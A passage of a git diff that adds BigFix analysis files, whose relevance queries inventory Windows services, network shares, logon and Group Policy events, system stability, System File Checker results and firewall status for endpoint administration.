+<LI>Create a client setting: besservicemonitor-&lt;name&gt;
+<LI>Populate the setting with a semicolon separated list of services to monitor: "<FONT size=2>BESProxyAgent;BESRelay;BESGather;BESPluginService;BESRootServer;BESWebReportsServer"</FONT></LI></OL>
+<P><FONT size=2>This action will then check those services to make sure they are running.</FONT></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists settings whose (name of it starts with &quot;besservicemonitor-&quot;) of client</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Service Monitor - Configuration - Windows" EvaluationPeriod="PT1H">unique values of ((it as trimmed string) of substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings whose (name of it starts with &quot;besservicemonitor-&quot; and name of it does not start with &quot;besservicemonitor-settings-&quot;) of client)</Property>
+    <Property ID="2" Name="Service Monitor - Recovery Counts - Windows" EvaluationPeriod="PT1H">(name of it, value &quot;count&quot; of it) of keys of keys &quot;Service Monitoring&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory&quot; of (x32 registries;x64 registries)</Property>
+    <Property ID="3" Name="Service Monitor - Last Recovery Times - Windows" EvaluationPeriod="PT1H">(name of it, value &quot;Last&quot; of it) of keys of keys &quot;Service Monitoring&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory&quot; of (x32 registries;x64 registries)</Property>
+    <Property ID="4" Name="Service Monitor - Services Failing to Start - Windows" EvaluationPeriod="PT5M">if (uptime of operating system &gt; (value of settings &quot;besservicemonitor-audit-delay&quot; of client as integer | 5) * minute) then (unique values of ((display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;) as string) of services ((it as trimmed string) of elements of (set of (substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings whose (name of it starts with &quot;besservicemonitor-&quot; and name of it does not start with &quot;besservicemonitor-settings-&quot;) of client) - set of (substrings separated by &quot;;&quot; of concatenations &quot;;&quot; whose (it != &quot;&quot;) of values of settings &quot;besservicemonitor-settings-blacklist&quot; of client))) whose (state of it != &quot;Running&quot; and start type of it != &quot;disabled&quot;)) else (nothing)</Property>
+    <Property ID="7" Name="Service Monitor - Audit Delay - Windows" EvaluationPeriod="PT5M">value of settings &quot;besservicemonitor-settings-audit-delay&quot; of client as integer | 5</Property>
+    <Property ID="8" Name="Service Monitor - Remediation Delay - Windows" EvaluationPeriod="PT5M">value of settings &quot;besservicemonitor-settings-remediation-delay&quot; of client as integer | 5</Property>
+    <Property ID="9" Name="Service Monitor - Blacklisted Services - Windows" EvaluationPeriod="PT5M">substrings separated by &quot;;&quot; of values of settings &quot;besservicemonitor-settings-blacklist&quot; of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Services - Windows (2998543).bes b/Sites/Windows Management/Fixlets/Analyses/Services - Windows (2998543).bes
new file mode 100644
index 000000000..a33fd01bf
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Services - Windows (2998543).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Services - Windows
+  ID       : 2998543
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2017-04-14T07:44:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Services - Windows</Title>
+    <Description><![CDATA[<P>Provides information relating to the Windows services on the system.</P>
+<P><STRONG>Services - Log On As - Windows</STRONG> - Provides the account that the service operates under. For the majority of services this will be a NT Authority\System </P>
+<P><STRONG>Services - Log On As Domain Account - Windows </STRONG>- Provides the services on the system that are running as a domain account</P>
+<P><STRONG>Services - Log On As Local Account - Windows </STRONG>- Provides the services on the system that are running as a local account on the system</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BES </Domain>
+    <Property ID="1" Name="Services - Log On As - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;, login account of it | &quot;N\A&quot;) of services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it)</Property>
+    <Property ID="2" Name="Services - Log On As Domain Account - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;,  login account of it) of it whose (login account of it contains &quot;@&quot;) of (services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it))</Property>
+    <Property ID="3" Name="Services - Log On As Local Account - Windows" EvaluationPeriod="P1D">(display name of it &amp; &quot; (&quot; &amp; service name of it &amp; &quot;)&quot;,  login account of it) of it whose (login account of it contains &quot;.\&quot;) of (services whose (exists display name of it AND (length of (display name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (display name of it as string) &lt; (length of (display name of it as string))) AND exists service name of it AND (length of (service name of it as string)) &gt; 0 AND (number of substrings &quot; &quot; of (service name of it as string) &lt; (length of (service name of it as string))) AND exists state of it))</Property>
+    <Property ID="4" Name="Services - State - Universal" EvaluationPeriod="PT1H">unique values of (concatenations of (it as string)) of (display name of it &amp; ((&quot; (&quot; &amp; service name of it &amp; &quot;)&quot;) | &quot;&quot;), state of it | &quot;N\A&quot;) of services</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Services info (2994720).bes b/Sites/Windows Management/Fixlets/Analyses/Services info (2994720).bes
new file mode 100644
index 000000000..32ce2b1da
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Services info (2994720).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Services info
+  ID       : 2994720
+  Author   : sinucus
+  Domain   : BESC
+  Imported : 2014-09-28T17:53:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Services info</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 05 Sep 2013 19:57:06 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Name" EvaluationPeriod="P1D">(string value of property &quot;name&quot; of it | &quot;n/a&quot;) of select objects &quot;name from win32_service&quot; of wmi</Property>
+    <Property ID="2" Name="PathName">(string value of property &quot;pathname&quot; of it | &quot;n/a&quot;) of select objects &quot;pathname from win32_service&quot; of wmi</Property>
+    <Property ID="3" Name="Description">(string value of property &quot;description&quot; of it | &quot;n/a&quot;) of select objects &quot;description from win32_service&quot; of wmi</Property>
+    <Property ID="4" Name="State">(string value of property &quot;state&quot; of it | &quot;n/a&quot;) of select objects &quot;state from win32_service&quot; of wmi</Property>
+    <Property ID="5" Name="Startup" EvaluationPeriod="P1D">(string value of property &quot;startmode&quot; of it | &quot;n/a&quot;) of select objects &quot;startmode from win32_service&quot; of wmi</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Shares - Windows (2998467).bes b/Sites/Windows Management/Fixlets/Analyses/Shares - Windows (2998467).bes
new file mode 100644
index 000000000..3cca7d0d4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Shares - Windows (2998467).bes	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Shares - Windows
+  ID       : 2998467
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-24T20:43:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Shares - Windows</Title>
+    <Description><![CDATA[<P>Provides information regarding the configured network shares on the system.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Shares - File - Windows" EvaluationPeriod="P1D">(name of it, path of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
+    <Property ID="2" Name="Shares - Read Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (read permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
+    <Property ID="3" Name="Shares - Change Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (write permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
+    <Property ID="4" Name="Shares - Full Control Permissions - Windows" EvaluationPeriod="P1D">(name of it, (account name of it | component string of it) of trustees of entries whose (write owner permission of it) of dacls of security descriptors of it) of network shares whose (name of it != &quot;print$&quot; and type of it != 2147483648 and type of it != 1 and type of it != 2147483651)</Property>
+    <Property ID="5" Name="Shares - Active Connections - Windows" EvaluationPeriod="P1D">(name of it, use count of it) of network shares</Property>
+    <Property ID="6" Name="Shares - Maximum Connections - Windows" EvaluationPeriod="P1D">(name of it, use limit of it as string | &quot;N\A&quot;) of network shares</Property>
+    <Property ID="7" Name="Shares - Comments - Windows" EvaluationPeriod="P1D">(name of it, comment of it) of network shares</Property>
+    <Property ID="8" Name="Shares - Printer - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 1 /*Printer*/)</Property>
+    <Property ID="9" Name="Shares - Administrative - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 2147483648 /*Admin*/ or name of it = &quot;print$&quot;)</Property>
+    <Property ID="11" Name="Shares - Interprocess Communication - Windows" EvaluationPeriod="P1D">(name of it) of network shares whose (type of it = 2147483651 /*IPC*/)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Signs of possible Logon or GPO issues - Windows (2994789).bes b/Sites/Windows Management/Fixlets/Analyses/Signs of possible Logon or GPO issues - Windows (2994789).bes
new file mode 100644
index 000000000..7b7b4ebf9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Signs of possible Logon or GPO issues - Windows (2994789).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Signs of possible Logon or GPO issues - Windows
+  ID       : 2994789
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T10:43:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Signs of possible Logon or GPO issues - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows 7 or later */ version of operating system >= "6.1"]]></Relevance>
+    <Relevance>&quot;Physical&quot; = (if (mac of operating system) then /* the Mac BES client does not currently support the smbios inspector. This needs refinement, but for now just assuming apple devices are physical since virtualiztion of OS X is relatively rare */ &quot;Physical&quot; else (if ((it contains &quot;VMware&quot; or (it contains &quot;Microsoft&quot; AND /* This check is needed to exclude Microsoft Surface devices */ ((value &quot;product_name&quot; of structure &quot;system_information&quot; of smbios) as string contains &quot;Virtual Machine&quot;)) or it contains &quot;Xen&quot; or /* This check is needed to properly identify Parallels VMs as virtual instead of physical */ it contains &quot;Parallels Software&quot;) of (value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string)) then &quot;Virtual&quot; else &quot;Physical&quot;))</Relevance>
+    <Relevance>&quot;workgroup&quot; != (it as string as lowercase) of (if (exists wmi) then (string value of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi) else (&quot;workgroup&quot;))</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 17:42:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="Time of latest user logon" EvaluationPeriod="PT6H">maximum of times generated of records whose(event id of it = 7001) of system event log</Property>
+    <Property ID="3" Name="Diff of userLO &amp; GPO update" EvaluationPeriod="PT6H">(maximum of times generated of records whose(event id of it = 1073743528 AND source of it = &quot;SceCli&quot;) of application event log) - (maximum of times generated of records whose(event id of it = 7001) of system event log)</Property>
+    <Property ID="4" Name="Diff of userLO &amp; first GPO update after LO" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1073743528 AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 7001) of system event log)) of application event log)-(maximum of times generated of records whose(event id of it = 7001) of system event log)</Property>
+    <Property ID="5" Name="Time of first GPO update after latest userLO" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1073743528 AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 7001) of system event log)) of application event log)</Property>
+    <Property ID="6" Name="number of NTP problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 129 AND source of it = &quot;Microsoft-Windows-Time-Service&quot;) of system event log</Property>
+    <Property ID="7" Name="number of DNS problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 1014 AND source of it = &quot;Microsoft-Windows-DNS-Client&quot;) of system event log</Property>
+    <Property ID="8" Name="number of GPO problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 1129 AND source of it = &quot;Microsoft-Windows-GroupPolicy&quot;) of system event log</Property>
+    <Property ID="9" Name="number of DC errors" EvaluationPeriod="PT6H">number of records whose(event id of it = 5719 AND source of it = &quot;NETLOGON&quot;) of system event log</Property>
+    <Property ID="10" Name="number of GPO successes" EvaluationPeriod="PT6H">number of records whose(event id of it = 1073743528 AND source of it = &quot;SceCli&quot;) of application event log</Property>
+    <Property ID="11" Name="NTP 129 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 129 AND source of it = &quot;Microsoft-Windows-Time-Service&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
+    <Property ID="12" Name="DNS 1014 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1014 AND source of it = &quot;Microsoft-Windows-DNS-Client&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
+    <Property ID="13" Name="GPO 1129 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1129 AND source of it = &quot;Microsoft-Windows-GroupPolicy&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
+    <Property ID="14" Name="DC 5719 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 5719 AND source of it = &quot;NETLOGON&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Stability - Windows (2998544).bes b/Sites/Windows Management/Fixlets/Analyses/Stability - Windows (2998544).bes
new file mode 100644
index 000000000..38a40bb7b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Stability - Windows (2998544).bes	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Stability - Windows
+  ID       : 2998544
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Stability - Windows</Title>
+    <Description><![CDATA[<FONT size=2>
+<P>This analysis provides stability information for Windows devices.</P>
+<P>Kudos, compliments, and credit for the majority of this analysis to: jgstew</P>
+<P>The original analysis this is based off of is available here: <A href="https://bigfix.me/analysis/details/2994781">https://bigfix.me/analysis/details/2994781</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P></FONT>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Stability - Recent Hard Reboots - Windows" EvaluationPeriod="P1D">number of descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 41) of system event log</Property>
+    <Property ID="3" Name="Stability - WER Type/Count - Windows" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then ((it, multiplicity of it) of unique values of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
+    <Property ID="4" Name="Stability - WER Critical Lines - Windows" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then (sum of (multiplicity of it) of unique values whose(it = &quot;Critical&quot; OR it = &quot;Kernel&quot;) of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
+    <Property ID="6" Name="Stability - Reliability Score - Windows" EvaluationPeriod="PT12H">tuple string items 0 of concatenations &quot;, &quot; of string values of selects (&quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics WHERE TimeGenerated &gt;= &quot; &amp; ((year of it as string &amp; month of it as two digits &amp; day_of_month of it as two digits) of date (local time zone) of it) of (now - 1*day) ) of wmis</Property>
+    <Property ID="7" Name="Stability - Average of recent Reliability Scores - Windows" EvaluationPeriod="PT12H">( (sum of (it as floating point) of elements of item 1 of it) / item 0 of it) of (number of elements of it, it) of sets of string values of selects (&quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics WHERE TimeGenerated &gt;= &quot; &amp; ((year of it as string &amp; month of it as two digits &amp; day_of_month of it as two digits) of date (local time zone) of it) of (now - 1*day) ) of wmis</Property>
+    <Property ID="8" Name="Stability - Recent Blue Screen - Windows" EvaluationPeriod="P1D">number of descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 41) of system event log</Property>
+    <Property ID="11" Name="Events - System Log - Oldest - Windows" EvaluationPeriod="P1D">time written of record (oldest record number of system event log) of system event log</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Stability Audit - Windows (2994781).bes b/Sites/Windows Management/Fixlets/Analyses/Stability Audit - Windows (2994781).bes
new file mode 100644
index 000000000..d7a589fc4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Stability Audit - Windows (2994781).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Stability Audit - Windows
+  ID       : 2994781
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T07:38:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Stability Audit - Windows</Title>
+    <Description><![CDATA[<P>This is an attempt to detect events and other items that might be related to system problems.</P>
+<P>&nbsp;</P>
+<P><STRONG>Latest version found here:</STRONG>&nbsp; <A href="http://bigfix.me/analysis/details/2994619">http://bigfix.me/analysis/details/2994619</A></P>
+<P>&nbsp;</P>
+<P><STRONG>Related:</STRONG></P>
+<P><A href="http://bigfix.me/relevance/details/2157"><FONT color=#000080>http://bigfix.me/relevance/details/2157</FONT></A></P>
+<P>Found the Windows Error Reporting locations here: <A href="http://www.sevenforums.com/tutorials/4567-problem-reports-solutions-clear-history.html"><FONT color=#000080>http://www.sevenforums.com/tutorials/4567-problem-reports-solutions-clear-history.html</FONT></A></P><FONT size=2>
+<P>C:\Users\Default\AppData\Local\Microsoft\Windows\WER\ReportQueue</P>
+<P>C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Windows\WER\ReportQueue</P>
+<P>C:\ProgramData\Microsoft\Windows\WER\ReportQueue</P>
+<P>&nbsp;</P></FONT>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 14:36:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="# hard reboots" EvaluationPeriod="P1D">if (52000 &lt; record count of system event log) then ERROR &quot;too many log records&quot; else ( number of (records whose (event id of it = 41) of system event log) /* http://support.microsoft.com/kb/2028504 */ )</Property>
+    <Property ID="3" Name="WER - Type,Count" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then ((it, multiplicity of it) of unique values of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
+    <Property ID="4" Name="WER - Kernel+Critical" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then (sum of (multiplicity of it) of unique values whose(it = &quot;Critical&quot; OR it = &quot;Kernel&quot;) of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
+    <Property ID="5" Name="# of BSOD" EvaluationPeriod="P1D">if (52000 &lt; record count of system event log) then ERROR &quot;too many log records&quot; else ( number of records whose (source of it as lowercase =&quot;bugcheck&quot;) of system event log )</Property>
+    <Property ID="6" Name="Average Reliability Score" EvaluationPeriod="PT12H">(it / number of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis) of sum of (it as floating point) of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis</Property>
+    <Property ID="7" Name="Average of last 10 Reliability Scores" EvaluationPeriod="PT12H">(it / 10) of sums of (it as floating point) of (tuple string items (0;1;2;3;4;5;6;7;8;9) of it) of concatenations &quot;, &quot; of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/System File Checker results (2994541).bes b/Sites/Windows Management/Fixlets/Analyses/System File Checker results (2994541).bes
new file mode 100644
index 000000000..4a107bd83
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/System File Checker results (2994541).bes	
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : System File Checker results
+  ID       : 2994541
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-06-26T15:48:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>System File Checker results</Title>
+    <Description><![CDATA[<P>Results from running sfc /scannow</P>
+<P>Can run sfc using this task: <A href="http://bigfix.me/cdb/fixlet/1369"><FONT color=#000080>http://bigfix.me/cdb/fixlet/1369</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[exists file ((pathname of windows folder) & "\logs\cbs\cbs.log")]]></Relevance>
+    <Relevance><![CDATA[exists lines whose (it contains "[SR] ") of file ((pathname of windows folder) & "\logs\cbs\cbs.log")]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 26 Jun 2013 22:46:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="# of unrepairable files" EvaluationPeriod="P7D">number of lines whose (it contains &quot;[SR] Cannot repair member file&quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
+    <Property ID="3" Name="# of [SR] Lines" EvaluationPeriod="P7D">number of lines whose (it contains &quot;[SR] &quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
+    <Property ID="4" Name="[SR] Lines" EvaluationPeriod="P7D">(if exists ( position 1000 of it ) then ( preceding text of position 1000 of it ) else it) of concatenation &quot;; &quot; of lines whose (it contains &quot;[SR] &quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/System Security Analysis - Windows (2998604).bes b/Sites/Windows Management/Fixlets/Analyses/System Security Analysis - Windows (2998604).bes
new file mode 100644
index 000000000..0d046dced
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/System Security Analysis - Windows (2998604).bes	
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : System Security Analysis - Windows
+  ID       : 2998604
+  Author   : suzib6sw
+  Domain   : BESC
+  Imported : 2020-03-06T10:51:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>System Security Analysis - Windows</Title>
+    <Description>An Aggregation of other queries and relevance&apos;s and some original that provides an all in one quick overview of the system.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 27 Feb 2020 16:50:06 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="27" Name="Windows Firewall" EvaluationPeriod="PT5M">If exists running service &quot;MpsSvc&quot; then &quot;Running&quot; Else &quot;Warning&quot;</Property>
+    <Property ID="28" Name="IPSec Firewall" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local&quot; whose (exists values whose(name of it = &quot;ActivePolicy&quot; ) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="29" Name="GPO Applied IPSec" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\GPTIPSECPolicy&quot; whose (exists values whose(name of it = &quot;DSIPSECPolicyFlags&quot; ) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="30" Name="File and Print Sharing" EvaluationPeriod="PT1H">if rule group currently enabled &quot;File and Printer sharing&quot;  of  firewall then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
